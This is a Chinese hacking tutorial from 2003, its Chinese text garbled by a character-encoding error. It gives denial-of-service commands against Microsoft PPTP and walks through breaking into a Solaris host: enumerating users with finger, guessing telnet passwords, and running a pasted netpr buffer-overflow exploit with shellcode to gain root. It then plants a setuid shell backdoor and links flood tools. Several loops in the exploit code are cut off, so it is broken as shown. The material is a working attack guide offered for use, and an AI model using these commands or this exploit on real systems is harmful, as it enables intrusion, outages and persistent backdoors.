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³ö´¦£ºwww.5dmail.net ×÷Õߣº5dmail ʱ¼ä£º2003-10-4 12:34:00
6 ½ÌÄãDoS¹¥»÷΢ÈíµÄPPTP
ºÇºÇ,´ó¼ÒûÓп´´í,µÄÈ·ÊÇ΢ÈíµÄ,ÎÒÃÇÏÈ¿´¿´PPTPÊǸöʲô¶«¶«PPTP(Piont-to-point Tunneling Protocol µã¶Ôµã´«ÊäÐÒé)ÊÇÒ»¸öÓÃÒÔ½¨Á¢VPNµÄÍøÂçÐÒé. ´ËÐÒéÐèTCP(¶Ë¿Ú1723)ºÍGREÒÔÍê³É¹¤×÷.
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* Dell PowerEdge 2200 with Intel 10/100 adapter, 256 MB RAM, NT Server 4.0
* Dell Dimension XPS M200s with 3Com 905B adapter, 64 MB RAM, NT Server 4.0
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* HP Vectra XA with AMD PCNet integrated Ethernet, 128 MB RAM, NT Workstation 4.0
* Dell Latitude CPx with 3Com 3CCFEM656 PC Card adapter, 128 MB RAM, NT Workstation 4.0
* Generic dual PII (Asus motherboard) with 3Com 980x adapter, 256 MB RAM, NT Server 4.0
* Dell Dimension XPS T550 with 3Com 905C-TX adapter, 128 MB RAM, NT Workstation 4.0
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1.UNIX box(ÀýÈçlinux,*bsd....)
2.netcat ( http://www.l0pht.com/~weld/netcat/ )
3.apsend ( http://www.elxsi.de/ )
4.ipsend ( http://coombs.anu.edu.au/~avalon/ )
OK,Õâ¾ÍºÃ˵ÁË,
ÎÒÃÇÀ´¿´ËüµÄÈý¸öBUG
1 TCP¶Ë¿Ú1723
´ËÈõµãÖ»ÔÚpriorÖÁSP6µÄ»úÆ÷ÉÏÓÐЧ¡£²¢²»ÊÇËùÓеĻúÆ÷¶¼´æÔÚÕâ¸ö©¶´£»ÇëÔÚUnix ²Ù×÷ϵͳÄÚ¼üÈëÒÔÏ£º
$ nc 1723 < /dev/zero
Èç»úÆ÷´æÔÚ´Ë©¶´, Ä¿±êÖ÷»ú½«ÔÚ¼¸ÃëÖÖÖ®ÄÚÀ¶ÆÁ£¬²¢ÓÐÈçÏ´íÎó£º
STOP 0x0A (0x0, 0x2, 0x0, 0x0) IRQL_NOT_LESS_OR_EQUAL
ÔÙ´ÎÌáÐÑ£¬´ËÈõµãÖ»¶Ô²¿·Ö»úÆ÷ÓÐЧ
2 GRE
´ËÈõµã¶ÔËùÓÐService packÓÐЧ
ÔÚÄ¿±ê»úÆ÷ÉÏ£¬´ò¿ªÈÎÎñ¹ÜÀíÆ÷Ñ¡Ôñ¡°ÔËÐС±¡£²¢´ò¿ª Ò»¸öDOS´°¿Ú£¨¿ªÊ¼-ÔËÐÐ-CMD).ÔÚUnixÀà²Ù×÷ϵͳÉÏ£º
$ apsend -d --protocol 47 -m 0 -q
ÔÚÄ¿±êÖ÷»úÉÏÄ㽫¿´µ½ÈÎÎñ¹ÜÀíÆ÷ÄÚÄں˼ÇÒäµÄÊý×Ö½«»ºÂýÉÏÉý¡£×îÖÕ£¬ÕâЩÊý×Ö½«Í£Ö¹Ôö¼Ó£»´Ëʱ£¬ CPUÔÚÒ»¶Îʱ¼äÄÚÓпÉÄܱ»100%Õ¼Óá£ÏÖÔÚÄã¿ÉÒÔÊÔ×ÅÔÚÃüÁîÌáʾ·ûºó¼üÈëÒ»¸öÃüÁîÀýÈçDIR,ÕâʱÄ㽫¿´ µ½Ò»¸öÐÅϢ˵Ìáʾ²Ù×÷ϵͳÒѲ»¿ÉÄÜÍê³ÉÒªÖ´ÐеÄÃüÁî
3ÈõµãÈý£ºGRE
´ËÈõµãͬÑù¶ÔËùÓеÄService packÓÐЧ¡£ÇëÔÚUnix²Ù×÷ϵͳÉÏ£º
#!/bin/csh
foo:
ipsend -i -P gre > /dev/null
goto foo
Ä¿±êÖ÷»úºÜ¿ì»áÀ¶ÆÁ£¬´ó¸ÅÐèÒª50¸öÊý¾Ý°ü¡£
Ã÷°×ÁË°É
7 UNIX¹¥»÷
ÕâÀïΪÁË·½±ãÎÒÃÇÓÃfinger 0@ip À´ÕÒUNIXµÄ±¡Èõ»úÆ÷
C:\>finger 0@IP
xxx.xxx.xxx.xxx]
Login Name TTY Idle When Where
daemon ??? < . . . . >
bin ??? < . . . . >
sys ??? < . . . . >
jeffrey ??? pts/0 203.66.149.11
daniel ??? 437 114cm.kcable.
jamie ??? 0 203.66.162.68
postgres ??? pts/2 203.66.162.80
nsadmin ??? 768 203.66.19.50
ho ??? 390 61.169.209.106
house18 ??? pts/1 203.66.250.1
tong ??? pts/0 210.226. 42.69
jliu ??? pts/0 203.66.52.87
ptai ??? < . . . . >
¿´µ½ÁËÂð,ÕâÀïµÄLOGINϵľÍÊÇÎÒÃÇÒªµÄÓû§ÃûÁË
±ÈÈçjeffrey,Daniel,Jamie,postgres
ÏÂÃæÎÒÃǾÍÀ´ÈëÇÖ
C:\>telnet xxx.xxx.xxx.xxx
Ò»°ãµÄÇé¿öÏÂÎÒÃǶ¼ÊDzÂÃÜÂë,Ôõô²Â??¾ÍÊÇÉÏÃæLOGINϵÄÓû§ÃûÈÃËüÓÖ×öÓû§ÃûºÍÃÜÂëѽ,ÊÂʵÉÏ×ÜÓÐһЩÈËΪÁË·½±ãÊÇÕâôÉèÖõÄ
login: ptai £¨***ÊäÈëÓû§Ãû***£©
Password: **** £¨***ÊäÈëÃÜÂë***£©
Login incorrect £¨***µÇ½ʧ°Ü***£©
login: jliu
Password:
Login incorrect
$ login: tong
Password:
Last login: Mon Jul 2 13:21:55 from 210.226. 42.69 £¨***Õâ¸öÓû§ÉϴεǽʱµÄIP***£©
Sun Microsystems Inc. SunOS 5.6 Generic August 1997
You have mail. (***HOHO~µÇ½³É¹¦À²***)
¿´¿´Õâ²»¾Í½øÀ´ÁË
$ uname ¨Ca (***²é¿´ÏµÍ³°æ±¾ºÍ²¹¶¡ÐÅÏ¢***)
$ set (***²é¿´Ò»Ð©Ïµ?ÿ³±äÁ¿ÐÅÏ?**)
$w ¿´¿´Óû§Çé¿ö
$ gcc ÎÒÃÇ¿´¿´ÓÐûÓбà¼Æ÷,ÒÔºóÄã¾ÍÖªµÀÓÐʲôÓÃÁË
gcc: No input files
¿´µ½Ã»ÓÐGCCѽ
$ ls -al
total 14
drwxrwxr-x 2 delex staff 512 Jul 4 18:28 .
drwxr-xr-x 35 root root 1024 May 7 10:46 ..
-rw-r--r-- 1 delex staff 144 May 2 10:46 .profile
-rw------- 1 root staff 320 Jul 4 18:52 .sh_history
-rw-r--r-- 1 delex staff 124 May 2 10:46 local.cshrc
-rw-r--r-- 1 delex staff 581 May 2 10:46 local.login
-rw-r--r-- 1 delex staff 562 May 2 10:46 local.profile
$ cat /etc/passwd (***¼ì²é/etc/passwd***)
root:x:0:1:Super-User:/:/sbin/sh
daemon:x:1:1::/:
bin:x:2:2::/usr/bin:
sys:x:3:3::/:
adm:x:4:4:Admin:/var/adm:
lp:x:71:8:Line Printer Admin:/usr/spool/lp:
uucp:x:5:5:uucp Admin:/usr/lib/uucp:
nuucp:x:9:9:uucp Admin:/var/spool/uucppublic:/usr/lib/uucp/uucico
listen:x:37:4:Network Admin:/usr/net/nls:
nobody:x:60001:60001:Nobody:/:
noaccess:x:60002:60002:No Access User:/:
nobody4:x:65534:65534:SunOS 4.x Nobody:/:
dennis:x:1005:20::/export/home/dennis:/bin/sh
oracle:x:1001:100::/export/home/oracle:/bin/sh
render7:x:9589:101::/export/home/render7:/bin/sh
$ ls -al / (***²é¿´¸ùĿ¼ÊÇ·ñÓÐ.rhostsµÈÎļþ***)
¼ÆËã»úÊäÈëÐÅÏ¢ÂÔ
$ netstat -an|grep LISTEN (***²é¿´ÓÐûÓпÉÒɶ˿Ú***)
*.111 *.* 0 0 0 0 LISTEN
*.21 *.* 0 0 0 0 LISTEN
*.23 *.* 0 0 0 0 LISTEN
*.514 *.* 0 0 0 0 LISTEN
*.513 *.* 0 0 0 0 LISTEN
*.512 *.* 0 0 0 0 LISTEN
*.540 *.* 0 0 0 0 LISTEN
*.79 *.* 0 0 0 0 LISTEN
*.37 *.* 0 0 0 0 LISTEN
*.7 *.* 0 0 0 0 LISTEN
*.9 *.* 0 0 0 0 LISTEN
*.13 *.* 0 0 0 0 LISTEN
*.19 *.* 0 0 0 0 LISTEN
¡.
$ cd /tmp
$ ls -al
ºÃÏñûÓÐʲôÎÊÌâÎÒÃÇÀ´ÌáÉýȨÏÞ
$ set
$ uname -a
SunOS develop 5.7 Generic_106541-14 sun4u sparc SUNW,Ultra-5_10
$ cd /tmp
$ cat > test.c (***ÓÃcatÃüÁîдһ¸öÎļþ***)
ÕâÊǺËÐÄѽ,Õâ¾ÍÊÇÄõ½ROOTȨÏÞÖÐÖØÒªµÄÒ»²½
*## copyright LAST STAGE OF DELIRIUM dec 1999 poland *://lsd-pl.net/ #*/
/*## /usr/lib/lp/bin/netpr #*/
/* requires to specify the address of a host with 515 port opened */
#define NOPNUM 4000
#define ADRNUM 1200
#define ALLIGN 3
char shellcode[]=
"\x20\xbf\xff\xff" /* bn,a */
"\x20\xbf\xff\xff" /* bn,a */
"\x7f\xff\xff\xff" /* call */
"\x90\x03\xe0\x20" /* add %o7,32,%o0 */
"\x92\x02\x20\x10" /* add %o0,16,%o1 */
"\xc0\x22\x20\x08" /* st %g0,[%o0+8] */
"\xd0\x22\x20\x10" /* st %o0,[%o0+16] */
"\xc0\x22\x20\x14" /* st %g0,[%o0+20] */
"\x82\x10\x20\x0b" /* mov 0xb,%g1 */
"\x91\xd0\x20\x08" /* ta 8 */
"/bin/ksh"
;
char jump[]=
"\x81\xc3\xe0\x08" /* jmp %o7+8 */
"\x90\x10\x00\x0e" /* mov %sp,%o0 */
;
static char nop[]="\x80\x1c\x40\x11";
main(int argc,char **argv){
char buffer[10000],adr[4],*b,*envp[2];
int i;
printf("copyright LAST STAGE OF DELIRIUM dec 1999 poland //lsd-pl.net/\n");
printf("/usr/lib/lp/bin/netpr solaris 2.7 sparc\n\n");
if(argc==1){
printf("usage: %s lpserver\n",argv[0]);
exit(-1);
}
*((unsigned long*)adr)=(*(unsigned long(*)())jump)()+7124+2000;
envp[0]=&buffer[0];
envp[1]=0;
b=&buffer[0];
sprintf(b,"xxx=");
b+=4;
for(i=0;i<1+4-((strlen(argv[1])%4));i++) *b++=0xff;
for(i=0;i
for(i=0;i
*b=0;
b=&buffer[5000];
for(i=0;i
for(i=0;i
*b=0;
execle("/usr/lib/lp/bin/netpr","lsd","-I","bzz-z","-U","x!x","-d",argv[1],
"-p",&buffer[5000],"/bin/sh",0,envp);
}
^D
(***ÕâÀïÊÇ°´ctrl + d ½áÊøдÎļþ,ÄãÓÃviÀ´Ð´Ò²¿ÉÒÔ£¬ftp£¬rcpµÈÉÏ´«Ò²¿ÉÒÔ¡£***)
(***Ô´³ÌÐòÔÚ http://lsd-pl.net/files/get?SOLARIS/solsparc_netpr ***)
$ ls -al /tmp (***²é¿´test.cÊÇ·ñ½¨Á¢***)
ÕÒµ½ÁË°É,ÄÄÎÒÃǾͳɹ¦µÄ½¨Á¢ÁË
$ gcc -o test test.c ±à¼Ëü,ʹËüÒç³ö
$ ./test
copyright LAST STAGE OF DELIRIUM dec 1999 poland //lsd-pl.net/
/usr/lib/lp/bin/netpr solaris 2.7 sparc
usage: ./test lpserver
$ ./test localhost
copyright LAST STAGE OF DELIRIUM dec 1999 poland //lsd-pl.net/
/usr/lib/lp/bin/netpr solaris 2.7 sparc
# id
uid=1035(delex) gid=20(staff) euid=0(root) (***³É¹¦»ñµÃroot***)
OK,Ïë×öʲô¾Í¿´ÄãµÄÁËÏÂÃæÊÇһЩÌâÍâ»°ÁË
# mkdir /usr/lib/...
# cp /bin/ksh /usr/lib/¡/.x (***×ö¸ö¼òµ¥µÄºóÃÅ***)
# chmod +s /usr/lib/¡/.x
# cat /etc/hosts (***¿´¿´Õâ¸öÍøÂç¶à´ó***)
ÒÔÏÂÊÇÔÚÉÏÃæËùÒªÓõ½µÄɨÃèÆ÷ºÍÔ´úÂë
SuperScan 3.0 http://www.cnhonker.com/tmp/SuperScan.zip
SecureCRT 3.3 http://www.cnhonker.com/tmp/SecureCRT3.3.zip
ÀïÃæËùÓõ½µÄÓÐЩ³ÌÐò´úÂëÇëµ½ http://lsd-pl.net/ »ò http://www.hack.co.za ²éÕÒ¡£
Æäʵÿ¸ö²Ù×÷ϵͳ¶¼ÓЩ¶´,¼òµ¥µÄ˵ÎÒÃÇÖ»ÒªÕÒµ½¸Ãϵͳ¶ÔÓ¦µÄ©¶´È»ºó±à¼Ëü,ʹËüÒç³ö¾Í¿ÉÒÔÁË,ÕâÒ²ÊǺڿÍ×î³£ÓõÄÊÖ·¨
8,D.O.S
ºÇºÇ,»¹¼ÇµÄ¶Ô°×¹¬µÄDOSÖ®Õ½Âð,ºÇºÇ,ÄÄ»¹²»À´ÊÔÊÔ
ÏÂÔØÈí¼þ
FakePingµÄ¹¤¾ß Http://www.patching.net/shotgun/FakePing.exe
ÏÂÔØ udpflood.zip
°²×°ÍøÖ·£º http://202.102.230.155/netsafe/software/hacker/attack.htm